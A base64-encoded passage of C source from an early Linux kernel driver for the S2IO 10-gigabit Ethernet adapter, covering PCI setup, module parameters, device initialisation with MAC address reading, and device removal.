R0lTVEVSLCAKCQkJCShzcC0+cGNpeF9jbWQgfCAxKSk7CglwY2lfcmVhZF9jb25maWdfd29yZChz cC0+cGRldiwgUENJWF9DT01NQU5EX1JFR0lTVEVSLCAmKHNwLT5wY2l4X2NtZCkpOwoKLyogU2V0 IHRoZSBQRXJyIFJlc3BvbnNlIGJpdCBpbiBQQ0kgY29tbWFuZCByZWdpc3Rlci4gKi8KCXBjaV9y ZWFkX2NvbmZpZ193b3JkKHNwLT5wZGV2LCBQQ0lfQ09NTUFORCwgJnBjaV9jbWQpOwoJcGNpX3dy aXRlX2NvbmZpZ193b3JkKHNwLT5wZGV2LCBQQ0lfQ09NTUFORCwgCgkJCQkocGNpX2NtZHxQQ0lf Q09NTUFORF9QQVJJVFkpKTsKCXBjaV9yZWFkX2NvbmZpZ193b3JkKHNwLT5wZGV2LCBQQ0lfQ09N TUFORCwgJnBjaV9jbWQpOwoKLyogU2V0IHVzZXIgc3BlY2lmaWVkIHZhbHVlIGluIExhdGVuY3kg VGltZXIgKi8KCWlmKGxhdGVuY3lfdGltZXIpIHsgCgkJcGNpX3dyaXRlX2NvbmZpZ19ieXRlKHNw LT5wZGV2LCBQQ0lfTEFURU5DWV9USU1FUiwgCgkJCQlsYXRlbmN5X3RpbWVyKTsKCQlwY2lfcmVh ZF9jb25maWdfYnl0ZShzcC0+cGRldiwgUENJX0xBVEVOQ1lfVElNRVIsIAoJCQkJJmxhdGVuY3lf dGltZXIpOwoJCXBjaV93cml0ZV9jb25maWdfYnl0ZShzcC0+cGRldiwgUENJX0xBVEVOQ1lfVElN RVIsIAoJCQkJbGF0ZW5jeV90aW1lcik7Cgl9CgkKLyogU2V0IE1NUkIgY291bnQgdG8gNDA5NiBp biBQQ0ktWCBDb21tYW5kIHJlZ2lzdGVyLiAqLwoJcGNpX3dyaXRlX2NvbmZpZ193b3JkKHNwLT5w ZGV2LCBQQ0lYX0NPTU1BTkRfUkVHSVNURVIsCgkJCShzcC0+cGNpeF9jbWR8MHgwQykpOwoJcGNp X3JlYWRfY29uZmlnX3dvcmQoc3AtPnBkZXYsIFBDSVhfQ09NTUFORF9SRUdJU1RFUiwgJihzcC0+ cGNpeF9jbWQpKTsKCi8qIFNldHRpbmcgTWF4aW11bSBvdXRzdGFuZGluZyBzcGxpdHMgdG8gdHdv IGZvciBub3cuICovCglzcC0+cGNpeF9jbWQgfD0gWEVOQV9NQVhfT1VUU1RBTkRJTkdfU1BMSVRT KFhFTkFfVFdPX1NQTElUX1RSQU5TQUNUSU9OKTsKCXBjaV93cml0ZV9jb25maWdfd29yZChzcC0+ cGRldiwgUENJWF9DT01NQU5EX1JFR0lTVEVSLHNwLT5wY2l4X2NtZCk7CglwY2lfcmVhZF9jb25m aWdfd29yZChzcC0+cGRldiwgUENJWF9DT01NQU5EX1JFR0lTVEVSLCAmKHNwLT5wY2l4X2NtZCkp OwoKfQoKI2lmZGVmIEFTX0FfTU9EVUxFCk1PRFVMRV9BVVRIT1IoIlJhZ2hhdmVuZHJhIEtvdXNo aWsgPHJhZ2hhdmVuZHJhLmtvdXNoaWtAczJpby5jb20+Iik7Ck1PRFVMRV9MSUNFTlNFKCJHUEwi KTsKTU9EVUxFX1BBUk0ocmluZ19udW0sICIxLSIgX19NT0RVTEVfU1RSSU5HKDEpICJpIik7Ck1P RFVMRV9QQVJNKGZyYW1lX2xlbiwgIjEtIiBfX01PRFVMRV9TVFJJTkcoOCkgImkiKTsKTU9EVUxF X1BBUk0ocmluZ19sZW4sICIxLSIgX19NT0RVTEVfU1RSSU5HKDgpICJpIik7Ck1PRFVMRV9QQVJN KGZpZm9fbnVtLCAiMS0iIF9fTU9EVUxFX1NUUklORygxKSAiaSIpOwpNT0RVTEVfUEFSTShmaWZv X2xlbiwgIjEtIiBfX01PRFVMRV9TVFJJTkcoOCkgImkiKTsKTU9EVUxFX1BBUk0ocnhfcHJpbywg IjEtIiBfX01PRFVMRV9TVFJJTkcoMSkgImkiKTsKTU9EVUxFX1BBUk0odHhfcHJpbywgIjEtIiBf X01PRFVMRV9TVFJJTkcoMSkgImkiKTsKTU9EVUxFX1BBUk0obGF0ZW5jeV90aW1lciwgIjEtIiBf X01PRFVMRV9TVFJJTkcoMSkgImkiKTsKI2VuZGlmCgovKgoqICBJbnB1dCBBcmd1bWVudC9zOiAK KiAgIHBkZXYgLSBzdHJ1Y3R1cmUgY29udGFpbmluZyB0aGUgUENJIHJlbGF0ZWQgaW5mb3JtYXRp b24gb2YgdGhlIGRldmljZS4KKiAgIHByZSAtICB0aGUgTGlzdCBvZiBQQ0kgZGV2aWNlcyBzdXBw b3J0ZWQgYnkgdGhlIGRyaXZlciBsaXN0ZWQgaW4gczJpb190YmwuCiogIFJldHVybiB2YWx1ZToK KiAgIHJldHVybnMgJzAnKFNVQ0NFU1MpIG9uIHN1Y2Nlc3MgYW5kIG5lZ2F0aXZlIG9uIGZhaWx1 cmUuCiogIERlc2NyaXB0aW9uOgoqICBUaGUgZnVuY3Rpb24gaW5pdGlhbGl6ZXMgYW4gYWRhcHRl ciBpZGVudGlmaWVkIGJ5IHRoZSBwY2lfZGVjIHN0cnVjdHVyZS4KKiAgQWxsIE9TIHJlbGF0ZWQg aW5pdGlhbGl6YXRpb24gaW5jbHVkaW5nIG1lbW9yeSBhbmQgZGV2aWNlIHN0cnVjdHVyZSBhbmQg CiogIGluaXRsYWl6YXRpb24gb2YgdGhlIGRldmljZSBwcml2YXRlIHZhcmlhYmxlIGlzIGRvbmUu IEFsc28gdGhlIHN3YXBwZXIgCiogIGNvbnRyb2wgcmVnaXN0ZXIgaXMgaW5pdGlhbGl6ZWQgdG8g ZW5hYmxlIHJlYWQgYW5kIHdyaXRlIGludG8gdGhlIEkvTyAKKiAgcmVnaXN0ZXJzIG9mIHRoZSBk ZXZpY2UuCiogIAoqLwpzdGF0aWMgaW50IF9fZGV2aW5pdCAKczJpb19pbml0X25pYyhzdHJ1Y3Qg cGNpX2RldiAqcGRldixjb25zdCBzdHJ1Y3QgcGNpX2RldmljZV9pZCAqcHJlKQp7CgluaWNfdCAq c3A7CglzdHJ1Y3QgbmV0X2RldmljZSAqZGV2OwoJY2hhciAqZGV2X25hbWU9IlMySU8gMTBHRSBO SUMiOwoJaW50IGksaiwgcmV0OwoJaW50IGRtYV9mbGFnID0gRkFMU0U7Cgl1MzIgbWFjX3VwLCBt YWNfZG93bjsKCXU2NCB2YWw2NCA9IDAsIHRtcDY0ID0gMDsKCVhFTkFfZGV2X2NvbmZpZ190ICpi YXIwID0gTlVMTDsKCglpZigocmV0ID0gcGNpX2VuYWJsZV9kZXZpY2UocGRldikpKSB7CgkJREJH X1BSSU5UKEVSUl9EQkcsInMyaW9faW5pdF9uaWM6IHBjaV9lbmFibGVfZGV2aWNlIGZhaWxlZFxu Iik7CgkJcmV0dXJuIHJldDsKCX0KCglpZiAoIXBjaV9zZXRfZG1hX21hc2socGRldiwgMHhmZmZm ZmZmZmZmZmZmZmZmKSkgewoJCURCR19QUklOVChJTklUX0RCRywiczJpb19pbml0X25pYzogVXNp bmcgNjRiaXQgRE1BXG4iKTsKCQlkbWFfZmxhZyA9IFRSVUU7CgoJCSNpZiBkZWZpbmVkIChYRU5B X0FSQ0hfNjQpIHx8IChQUENfQVJDSDY0KQkKCQkjaWYgTElOVVhfVkVSU0lPTl9DT0RFID49IEtF Uk5FTF9WRVJTSU9OKDIsNiwwMCkKCQlpZiAocGNpX3NldF9jb25zaXN0ZW50X2RtYV9tYXNrKHBk ZXYsIDB4ZmZmZmZmZmZmZmZmZmZmZlVMTCkpIHsKICAgICAgIAkJCURCR19QUklOVChFUlJfREJH LCJVbmFibGUgdG8gb2J0YWluIDY0Yml0IERNQSBmb3IgXAoJCQkJCWNvbnNpc3RlbnQgYWxsb2Nh dGlvbnNcbiIpOwogICAgICAgCQkJcmV0dXJuIC1FTk9NRU07CgkJfQoJCSNlbmRpZgoJCSNlbmRp ZgoJfSBlbHNlIGlmICghcGNpX3NldF9kbWFfbWFzayhwZGV2LCAweGZmZmZmZmZmKSkgewoJCURC R19QUklOVChJTklUX0RCRywiczJpb19pbml0X25pYzogVXNpbmcgMzJiaXQgRE1BXG4iKTsKCX0g ZWxzZSB7CgkJcGNpX2Rpc2FibGVfZGV2aWNlKHBkZXYpOwoJCXJldHVybiAtRU5PTUVNOwoJfQoK CWlmKHBjaV9yZXF1ZXN0X3JlZ2lvbnMocGRldiwgczJpb19kcml2ZXJfbmFtZSkpIHsKCQlEQkdf UFJJTlQoRVJSX0RCRywiUmVxdWVzdCBSZWdpb25zIGZhaWxlZFxuIiksCgkJcGNpX2Rpc2FibGVf ZGV2aWNlKHBkZXYpOwoJCXJldHVybiAtRU5PREVWOwoJfQogICAgCglkZXYgPSBhbGxvY19ldGhl cmRldihzaXplb2YobmljX3QpKTsKCWlmKGRldiA9PSBOVUxMKSB7CgkJREJHX1BSSU5UKEVSUl9E QkcsIkRldmljZSBhbGxvY2F0aW9uIGZhaWxlZFxuIik7CgkJcGNpX2Rpc2FibGVfZGV2aWNlKHBk ZXYpOwoJCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7CgkJcmV0dXJuIC1FTk9ERVY7Cgl9CgoJ cGNpX3NldF9tYXN0ZXIocGRldik7CglwY2lfc2V0X2RydmRhdGEocGRldiwgZGV2KTsKCVNFVF9N T0RVTEVfT1dORVIoZGV2KTsKCVNFVF9ORVRERVZfREVWKGRldiwgJnBkZXYtPmRldik7CgovKiAg UHJpdmF0ZSBtZW1iZXIgdmFyaWFibGUgaW5pdGlhbGl6ZWQgdG8gczJpbyBOSUMgc3RydWN0dXJl ICovCglzcCA9IChuaWNfdCAqKWRldi0+cHJpdjsKCW1lbXNldChzcCwwLHNpemVvZihuaWNfdCkp OwoJc3AtPmRldiA9IGRldjsKCXNwLT5wZGV2ID0gcGRldjsKCXNwLT52ZW5kb3JfaWQgPSBwZGV2 LT52ZW5kb3I7CglzcC0+ZGV2aWNlX2lkID0gcGRldi0+ZGV2aWNlOwoJc3AtPmhpZ2hfZG1hX2Zs YWcgPSBkbWFfZmxhZzsKCXNwLT5pcnEgPSBwZGV2LT5pcnE7CglzcC0+ZGV2aWNlX2VuYWJsZWRf b25jZSA9IEZBTFNFOwoJc3AtPmxvb3BfcGt0X2NudCA9IDA7CglzdHJjcHkoc3AtPm5hbWUsZGV2 X25hbWUpOwoKLyogSW5pdGlhbGl6ZSBzb21lIFBDSS9QQ0ktWCBmaWVsZHMgb2YgdGhlIE5JQy4g Ki8KCXMyaW9faW5pdF9wY2koc3ApOwoJCQovKiAgU2V0dGluZyB0aGUgZGV2aWNlIGNvbmZpZ3Vy YXRpb24gcGFyYW1ldGVycy4KICogIE1vc3Qgb2YgdGhlc2UgcGFyYW1ldGVycyBjYW4gYmUgc3Bl Y2lmaWVkIGJ5IHRoZSB1c2VyIGR1cmluZyBtb2R1bGUgCiAqICBpbnNlcnRpb24gYXMgdGhleSBh cmUgbW9kdWxlIGxvYWRhYmxlIHBhcmFtZXRlcnMuIElmIHRoZXNlIAogKiAgcGFyYW1ldGVycyBh cmUgbm90IG5vdCBzcGVjaWZpZWQgZHVyaW5nIGxvYWQgdGltZSwgdGhleSBhcmUgaW5pdGFsaXpl ZAogKiAgd2l0aCBkZWZhdWx0IHZhbHVlcy4KICovCgkvKiBUeCBzaWRlIHBhcmFtZXRlcnMuICov CglpZihmaWZvX251bSkgewogICAgCXNwLT5jb25maWcuVHhGSUZPTnVtID0gZmlmb19udW07Cgl9 IGVsc2UgewoJICAgIHNwLT5jb25maWcuVHhGSUZPTnVtID0gMTsKCX0KCQoJaWYoIWZpZm9fbGVu WzBdICYmIChmaWZvX251bT4xKSkgewoJCXByaW50ayhLRVJOX0VSUiJGaWZvIExlbnMgbm90IHNw ZWNpZmllZCBmb3IgYWxsIEZJRk9zXG4iKTsKCQlnb3RvIGluaXRfZmFpbGVkOwoJfQoJCglpZihm aWZvX2xlblswXSkgewoJCWludCBjbnQ7CgoJCWZvcihjbnQ9MDsgZmlmb19sZW5bY250XTsgY250 KyspOwoJCWlmKGZpZm9fbnVtKSB7CgkJCWlmKGNudCA8IGZpZm9fbnVtKSB7CgkJCQlwcmludGso S0VSTl9FUlIiRmlmbyBMZW5zIG5vdCBzcGVjaWZpZWQgZm9yICIpOwoJCQkJcHJpbnRrKEtFUk5f RVJSImFsbCBGSUZPc1xuIik7CgkJCQlnb3RvIGluaXRfZmFpbGVkOwoJCQl9CgkJfQoJCWZvcihj bnQ9MDsgY250PHNwLT5jb25maWcuVHhGSUZPTnVtOyBjbnQrKykgewoJCQlzcC0+Y29uZmlnLlR4 Q2ZnW2NudF0uRmlmb0xlbiA9IGZpZm9fbGVuW2NudF07CgkJCXNwLT5jb25maWcuVHhDZmdbY250 XS5GaWZvUHJpb3JpdHkgPSBjbnQ7CgkJfQoJfSBlbHNlIHsKCQlzcC0+Y29uZmlnLlR4Q2ZnWzBd LkZpZm9MZW4gPSBERUZBVUxUX0ZJRk9fTEVOOwoJCXNwLT5jb25maWcuVHhDZmdbMF0uRmlmb1By aW9yaXR5ID0gMDsKCX0KCglzcC0+Y29uZmlnLlR4Q2ZnWzBdLmZOb1Nub29wID0gKE5PX1NOT09Q X1RYRCB8IE5PX1NOT09QX1RYRF9CVUZGRVIpOwoJc3AtPmNvbmZpZy5NYXhUeERzID0gTUFYX1NL Ql9GUkFHUzsKCXNwLT5jb25maWcuVHhGbG93ID0gVFJVRTsKCgkvKiBSeCBzaWRlIHBhcmFtZXRl cnMuICovCglpZihyaW5nX251bSkgewoJCXNwLT5jb25maWcuUnhSaW5nTnVtID0gcmluZ19udW07 Cgl9IGVsc2UgewoJCXNwLT5jb25maWcuUnhSaW5nTnVtID0gMTsKCX0KCglpZihyaW5nX2xlblsw XSkgewoJCWludCBjbnQ7CgkJZm9yKGNudD0wOyBjbnQ8c3AtPmNvbmZpZy5SeFJpbmdOdW07IGNu dCsrKSB7CgkJCXNwLT5jb25maWcuUnhDZmdbY250XS5OdW1SeGQgPSByaW5nX2xlbltjbnRdOwoJ ICAgIAkJc3AtPmNvbmZpZy5SeENmZ1tjbnRdLlJpbmdQcmlvcml0eSA9IGNudDsKCQl9Cgl9IGVs c2UgewoJCWludCBpZDsKCQlpZigoaWQgPSBnZXRfeGVuYV9yZXZfaWQocGRldikpID09IDEpIHsK CQkJc3AtPmNvbmZpZy5SeENmZ1swXS5OdW1SeGQgPSBMQVJHRV9SWERfQ05UOwoJCQkJCQkKCQl9 IGVsc2UgewoJCQlzcC0+Y29uZmlnLlJ4Q2ZnWzBdLk51bVJ4ZCA9IFNNQUxMX1JYRF9DTlQ7CgkJ fQoJCXNwLT5jb25maWcuUnhDZmdbMF0uUmluZ1ByaW9yaXR5ID0gMDsKCX0KCXNwLT5jb25maWcu UnhDZmdbMF0uUmluZ09yZyA9IFJJTkdfT1JHX0JVRkYxOwoJc3AtPmNvbmZpZy5SeENmZ1swXS5S eGRUaHJlc2ggPSBERUZBVUxUX1JYRF9USFJFU0hPTEQ7CglzcC0+Y29uZmlnLlJ4Q2ZnWzBdLmZO b1Nub29wID0gKE5PX1NOT09QX1JYRCB8IE5PX1NOT09QX1JYRF9CVUZGRVIpOwoJc3AtPmNvbmZp Zy5SeENmZ1swXS5SeERfQmFja09mZl9JbnRlcnZhbCA9IFRCRDsKCXNwLT5jb25maWcuUnhGbG93 ID0gVFJVRTsKCi8qIE1pc2NlbGxhbmVvdXMgcGFyYW1ldGVycy4qLwoJc3AtPmNvbmZpZy5SeFZM QU5FbmFibGUgPSBUUlVFOwoJc3AtPmNvbmZpZy5NVFUgPSBNQVhfTVRVX1ZMQU47CglzcC0+Y29u ZmlnLkp1bWJvRW5hYmxlID0gRkFMU0U7CgovKiAgU2V0dGluZyBNYWMgQ29udHJvbCBwYXJhbWV0 ZXJzICovCglzcC0+bWFjX2NvbnRyb2wudHhkbF9sZW4gPSBNQVhfU0tCX0ZSQUdTOwoJc3AtPm1h Y19jb250cm9sLnJtYWNfcGF1c2VfdGltZSAgPSAwOwoKLyogSW5pdGlhbGl6ZSBSaW5nIGJ1ZmZl ciBwYXJhbWV0ZXJzLiAqLwoJZm9yKGk9MDtpPHNwLT5jb25maWcuUnhSaW5nTnVtO2krKykKCQlh dG9taWNfc2V0KCZzcC0+cnhfYnVmc19sZWZ0W2ldLDApOwoKLyogIGluaXRpYWxpemUgdGhlIHNo YXJlZCBtZW1vcnkgdXNlZCBieSB0aGUgTklDIGFuZCB0aGUgaG9zdCAqLwoJaWYoaW5pdFNoYXJl ZE1lbShzcCkpIHsKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IE1lbW9yeSBhbGxvY2F0aW9uIGZh aWxlZFxuIixkZXYtPm5hbWUpOwoJCWdvdG8gbWVtX2FsbG9jX2ZhaWxlZDsKCX0KCglzcC0+YmFy MCA9IChjYWRkcl90KWlvcmVtYXAocGNpX3Jlc291cmNlX3N0YXJ0KHBkZXYsMCksIFwKCXBjaV9y ZXNvdXJjZV9sZW4ocGRldiwwKSk7CglpZighc3AtPmJhcjApIHsKCQlEQkdfUFJJTlQoRVJSX0RC RywiJXM6IFMySU86IGNhbm5vdCByZW1hcCBpbyBtZW0xXG4iLGRldi0+bmFtZSk7CgkJZ290byBi YXIwX3JlbWFwX2ZhaWxlZDsKCX0KCglzcC0+YmFyMSA9IChjYWRkcl90KWlvcmVtYXAocGNpX3Jl c291cmNlX3N0YXJ0KHBkZXYsMiksIFwKCXBjaV9yZXNvdXJjZV9sZW4ocGRldiwyKSk7CglpZigh c3AtPmJhcjEpIHsKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IFMySU86IGNhbm5vdCByZW1hcCBp byBtZW0yXG4iLGRldi0+bmFtZSk7CgkJZ290byBiYXIxX3JlbWFwX2ZhaWxlZDsKCX0KCglkZXYt PmlycSA9IHBkZXYtPmlycTsKCWRldi0+YmFzZV9hZGRyID0gKGRtYWFkZHJfdClzcC0+YmFyMDsK CXNwID0gKG5pY190ICopZGV2LT5wcml2OwoKLyogSW5pdGlhbGl6aW5nIHRoZSBCQVIxIGFkZHJl c3MgYXMgdGhlIHN0YXJ0IG9mIHRoZSBGSUZPIHBvaW50ZXIuICovCglmb3Ioaj0wO2o8TUFYX1RY X0ZJRk9TOyBqKyspIHsKCQlzcC0+bWFjX2NvbnRyb2wudHhfRklGT19zdGFydFtqXSA9IChUeEZJ Rk9fZWxlbWVudF90KikKCQkoc3AtPmJhcjErKGoqMHgwMDAyMDAwMCkpOwoJfQoKLyogIERyaXZl ciBlbnRyeSBwb2ludHMgKi8KCWRldi0+b3BlbiAgICAgICA9ICZzMmlvX29wZW47CglkZXYtPnN0 b3AgICAgICAgPSAmczJpb19jbG9zZTsKCWRldi0+aGFyZF9zdGFydF94bWl0ICAgID0gJnMyaW9f eG1pdDsKCWRldi0+Z2V0X3N0YXRzICAgICAgPSAmczJpb19nZXRfc3RhdHM7CglkZXYtPnNldF9t dWx0aWNhc3RfbGlzdCA9ICZzMmlvX3NldF9tdWx0aWNhc3Q7CglkZXYtPnNldF9tYWNfYWRkcmVz cyAgICA9ICZzMmlvX3NldF9tYWNfYWRkcjsKCWRldi0+ZG9faW9jdGwgICAgICAgPSAmczJpb19p b2N0bDsKCWRldi0+Y2hhbmdlX210dSAgICAgPSAmczJpb19jaGFuZ2VfbXR1OwoJI2lmZGVmIENP TkZJR1VSRV9OQVBJX1NVUFBPUlQKCWRldi0+cG9sbAkJCT0gIHMyaW9fcG9sbDsKCWRldi0+d2Vp Z2h0CQkJPSAxMjg7IC8qIEZvciBub3cuICovCgkjZW5kaWYKCi8qIFRoZSBmZWF0dXJlcyB0aGUg ZGV2aWNlIHN1cHBvcnRzLiAqLwoJZGV2LT5mZWF0dXJlcyB8PSBORVRJRl9GX1NHfE5FVElGX0Zf SFdfQ1NVTTsKCWlmKHNwLT5oaWdoX2RtYV9mbGFnID09IFRSVUUpCgkJZGV2LT5mZWF0dXJlcyB8 PSBORVRJRl9GX0hJR0hETUE7CgkjaWZkZWYgTkVUSUZfRl9UU08KCWRldi0+ZmVhdHVyZXMgfD0g TkVUSUZfRl9UU087CgkjZW5kaWYKCi8qIFNldHRpbmcgdGhlIFR4IHdhdGNoIGRvZyB0aW1lb3V0 IHZhbHVlIGFuZCB0aW1lciBmdW5jdGlvLiAqLwoJZGV2LT50eF90aW1lb3V0ID0gJnMyaW9fdHhf d2F0Y2hkb2c7CglkZXYtPndhdGNoZG9nX3RpbWVvID0gV0FUQ0hfRE9HX1RJTUVPVVQ7CgovKiBS ZWdpc3RlciBEZXZpY2Ugd2l0aCBPUy4gKi8KCWlmKHJlZ2lzdGVyX25ldGRldihkZXYpKSB7CgkJ REJHX1BSSU5UKEVSUl9EQkcsICJEZXZpY2UgcmVnaXN0cmF0aW9uIGZhaWxlZFxuIik7CgkJZ290 byByZWdpc3Rlcl9mYWlsZWQ7Cgl9CgovKiBTYXZlIFBDSSBzdGF0ZS4gKi8KCXBjaV9zYXZlX3N0 YXRlKHNwLT5wZGV2LCBzcC0+Y29uZmlnX3NwYWNlKTsKCi8qIFNldHRpbmcgc3dhcHBlciBjb250 cm9sIG9uIHRoZSBOSUMsIGZvciBwcm9wZXIgcmVzZXQgb3BlcmF0aW9uICovCglpZihzMmlvX3Nl dF9zd2FwcGVyKHNwKSkgewoJCURCR19QUklOVChFUlJfREJHLCIlczpzd2FwcGVyIHNldHRpbmdz IGFyZSB3cm9uZ1xuIiwgZGV2LT5uYW1lKTsKCQlnb3RvIHNldF9zd2FwX2ZhaWxlZDsKCX0KCQov KiBGaXggZm9yIGFsbCAiRkZzIiBNQUMgYWRkcmVzcyBwcm9ibGVtcyBvYnNlcnZlZCBvbiBBbHBo YSBwbGF0Zm9ybXMgKi8KCUZpeE1hY0FkZHJlc3Moc3ApOwoJczJpb19yZXNldChzcCk7CgovKiBT ZXR0aW5nIHN3YXBwZXIgY29udHJvbCBvbiB0aGUgTklDLCBzbyB0aGUgTUFDIGFkZHJlc3MgY2Fu IGJlIHJlYWQuICovCglpZihzMmlvX3NldF9zd2FwcGVyKHNwKSkgewoJCURCR19QUklOVChFUlJf REJHLCIlczogUzJJTzogc3dhcHBlciBzZXR0aW5ncyBhcmUgd3JvbmdcbiIsCgkJCQlkZXYtPm5h bWUpOwoJCWdvdG8gc2V0X3N3YXBfZmFpbGVkOwoJfQoKLyogIE1BQyBhZGRyZXNzIGluaXRpYWxp emF0aW9uLgogKiAgRm9yIG5vdyBvbmx5IG9uZSBtYWMgYWRkcmVzcyB3aWxsIGJlIHJlYWQgYW5k IHVzZWQuICovCgliYXIwID0gKFhFTkFfZGV2X2NvbmZpZ190ICopc3AtPmJhcjA7Cgl2YWw2NCA9 IFJNQUNfQUREUl9DTURfTUVNX1JEIHwgUk1BQ19BRERSX0NNRF9NRU1fU1RST0JFX05FV19DTUQg fAoJUk1BQ19BRERSX0NNRF9NRU1fT0ZGU0VUKDArTUFDX01BQ19BRERSX1NUQVJUX09GRlNFVCk7 Cgl3cml0ZTY0KCZiYXIwLT5ybWFjX2FkZHJfY21kX21lbSwgdmFsNjQpOwoJbWRlbGF5KDUwMCk7 Cgl0bXA2NCA9IHJlYWQ2NCgmYmFyMC0+cm1hY19hZGRyX2RhdGEwX21lbSk7CgoJbWFjX2Rvd24g PSAodTMyKXRtcDY0OwoJbWFjX3VwID0gKHUzMikodG1wNjQgPj4gMzIpOwoKCW1lbXNldChzcC0+ ZGVmTWFjQWRkclswXS5tYWNfYWRkciwgMCwgc2l6ZW9mKEVUSF9BTEVOKSk7CgoJc3AtPmRlZk1h Y0FkZHJbMF0ubWFjX2FkZHJbM10gPSAodTgpKG1hY191cCk7CglzcC0+ZGVmTWFjQWRkclswXS5t YWNfYWRkclsyXSA9ICh1OCkobWFjX3VwPj44KTsKCXNwLT5kZWZNYWNBZGRyWzBdLm1hY19hZGRy WzFdID0gKHU4KShtYWNfdXA+PjE2KTsKCXNwLT5kZWZNYWNBZGRyWzBdLm1hY19hZGRyWzBdID0g KHU4KShtYWNfdXA+PjI0KTsKCXNwLT5kZWZNYWNBZGRyWzBdLm1hY19hZGRyWzVdID0gKHU4KSht YWNfZG93bj4+MTYpOwoJc3AtPmRlZk1hY0FkZHJbMF0ubWFjX2FkZHJbNF0gPSAodTgpKG1hY19k b3duPj4yNCk7CgoJREJHX1BSSU5UKElOSVRfREJHLCJERUZBVUxUIE1BQyBBRERSOjB4JTAyeC0l MDJ4LSUwMngtJTAyeC0lMDJ4LSUwMnhcbiIsCgkJc3AtPmRlZk1hY0FkZHJbMF0ubWFjX2FkZHJb MF0sc3AtPmRlZk1hY0FkZHJbMF0ubWFjX2FkZHJbMV0sCgkJc3AtPmRlZk1hY0FkZHJbMF0ubWFj X2FkZHJbMl0sc3AtPmRlZk1hY0FkZHJbMF0ubWFjX2FkZHJbM10sCgkJc3AtPmRlZk1hY0FkZHJb MF0ubWFjX2FkZHJbNF0sc3AtPmRlZk1hY0FkZHJbMF0ubWFjX2FkZHJbNV0pOwoKLyogIFNldCB0 aGUgZmFjdG9yeSBkZWZpbmVkIE1BQyBhZGRyZXNzIGluaXRpYWxseSAgICovCglkZXYtPmFkZHJf bGVuID0gRVRIX0FMRU47CgltZW1jcHkoZGV2LT5kZXZfYWRkciwgc3AtPmRlZk1hY0FkZHIsIEVU SF9BTEVOKTsKCi8qICBJbml0aWFsaXplIHRoZSB0YXNrbGV0IHN0YXR1cyBmbGFnICovCglhdG9t aWNfc2V0KCYoc3AtPnRhc2tsZXRfc3RhdHVzKSwgMCk7CgoKLyogSW5pdGlhbGl6ZSBzcGlubG9j a3MgKi8KCXNwaW5fbG9ja19pbml0KCZzcC0+aXNyX2xvY2spOwoJc3Bpbl9sb2NrX2luaXQoJnNw LT50eF9sb2NrKTsKCi8qIE1ha2UgTGluayBzdGF0ZSBhcyBvZmYgYXQgdGhpcyBwb2ludCwgd2hl biB0aGUgTGluayBjaGFuZ2UgaW50ZXJydXB0IGNvbWVzCiAqIHRoZSBzdGF0ZSB3aWxsIGJlIGF1 dG9tYXRpY2FsbHkgY2hhbmdlZCB0byB0aGUgcmlnaHQgc3RhdGUuCiAqLwoJbmV0aWZfY2Fycmll cl9vZmYoZGV2KTsKCglyZXR1cm4gU1VDQ0VTUzsKCnNldF9zd2FwX2ZhaWxlZDoKCXVucmVnaXN0 ZXJfbmV0ZGV2KGRldik7CnJlZ2lzdGVyX2ZhaWxlZDoKCWlvdW5tYXAoc3AtPmJhcjEpOwpiYXIx X3JlbWFwX2ZhaWxlZDoKCWlvdW5tYXAoc3AtPmJhcjApOwpiYXIwX3JlbWFwX2ZhaWxlZDoKbWVt X2FsbG9jX2ZhaWxlZDoKCWZyZWVTaGFyZWRNZW0oc3ApOwppbml0X2ZhaWxlZDoKCXBjaV9kaXNh YmxlX2RldmljZShwZGV2KTsKCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7CglwY2lfc2V0X2Ry dmRhdGEocGRldiwgTlVMTCk7CglrZnJlZShkZXYpOwoKCXJldHVybiAtRU5PREVWOwp9CgovKgoq ICBJbnB1dCBBcmd1bWVudC9zOiAKKiAgIHBkZXYgLSBzdHJ1Y3R1cmUgY29udGFpbmluZyB0aGUg UENJIHJlbGF0ZWQgaW5mb3JtYXRpb24gb2YgdGhlIGRldmljZS4KKiAgUmV0dXJuIHZhbHVlOgoq ICB2b2lkCiogIERlc2NyaXB0aW9uOgoqICBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCBieSB0aGUg UGNpIHN1YnN5c3RlbSB0byByZWxlYXNlIGEgUENJIGRldmljZSAKKiAgYW5kIGZyZWUgdXAgYWxs IHJlc291cmNlIGhlbGQgdXAgYnkgdGhlIGRldmljZS4gVGhpcyBjb3VsZCBiZSBpbiByZXNwb25z ZSAKKiAgdG8gYSBIb3QgcGx1ZyBldmVudCBvciB3aGVuIHRoZSBkcml2ZXIgaXMgdG8gYmUgcmVt b3ZlZCBmcm9tIG1lbW9yeS4KKi8Kc3RhdGljIHZvaWQgX19leGl0IHMyaW9fcmVtX25pYyhzdHJ1 Y3QgcGNpX2RldiAqcGRldikKewoJc3RydWN0IG5ldF9kZXZpY2UgKmRldiA9IChzdHJ1Y3QgbmV0 X2RldmljZSAqKXBjaV9nZXRfZHJ2ZGF0YShwZGV2KTsKCW5pY190ICpzcDsKCglpZihkZXYgPT0g TlVMTCkgewoJCURCR19QUklOVChFUlJfREJHLCAiRHJpdmVyIERhdGEgaXMgTlVMTCEhXG4iKTsK CQlyZXR1cm47Cgl9CglzcCA9IChuaWNfdCAqKWRldi0+cHJpdjsKCWZyZWVTaGFyZWRNZW0oc3Ap OwoJaW91bm1hcChzcC0+YmFyMCk7Cglpb3VubWFwKHNwLT5iYXIxKTsKCXBjaV9kaXNhYmxlX2Rl dmljZShwZGV2KTsKCXBjaV9yZWxlYXNlX3JlZ2lvbnMocGRldik7CglwY2lfc2V0X2RydmRhdGEo cGRldiwgTlVMTCk7CgoJdW5yZWdpc3Rlcl9uZXRkZXYoZGV2KTsKCQoJI2lmIExJTlVYX1ZFUlNJ T05fQ09ERSA+PSBLRVJORUxfVkVSU0lPTigyLDYsMDApCglmcmVlX25ldGRldihkZXYpOwoJI2Vs c2UKCWtmcmVlKGRldik7CgkjZW5kaWYKfQoKaW50IHMyaW9fc3RhcnRlcih2b2lkKQp7CglyZXR1 cm4gcGNpX21vZHVsZV9pbml0KCZzMmlvX2RyaXZlcikgPyAtRU5PREVWIDowOwp9Cgp2b2lkIHMy 